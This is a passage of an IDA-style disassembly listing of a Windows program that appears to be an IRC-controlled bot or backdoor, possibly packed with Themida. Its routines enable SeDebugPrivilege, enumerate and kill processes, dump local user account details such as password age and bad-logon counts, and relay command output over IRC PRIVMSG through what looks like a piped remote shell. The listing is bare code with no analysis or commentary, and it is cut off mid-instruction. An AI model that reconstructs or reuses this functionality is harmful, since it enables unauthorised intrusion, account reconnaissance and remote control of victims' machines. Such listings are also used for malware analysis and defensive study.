off_4389A0[eax*4] push offset unk_439120 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_4390F8 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439170 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439360 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43932C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26D0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax loc_4195FA: ; DATA XREF: Themida_:0058A68Co lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_439694 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439668 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2720612h push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 26708E6h mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 283104Eh nop test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439720 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 2710D21h test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 2710D21h nop test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_43989C jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439878 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26907E6h mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 2710D21h test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 26708E6h loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396BCh, 6B5BE890h, 0E3EB0227h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC call near ptr 2700000h nop test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 2690579h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 nop call near ptr 283191Bh test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 call near ptr 283149Bh nop test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah call near ptr 2690579h nop jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 nop call near ptr 2710000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 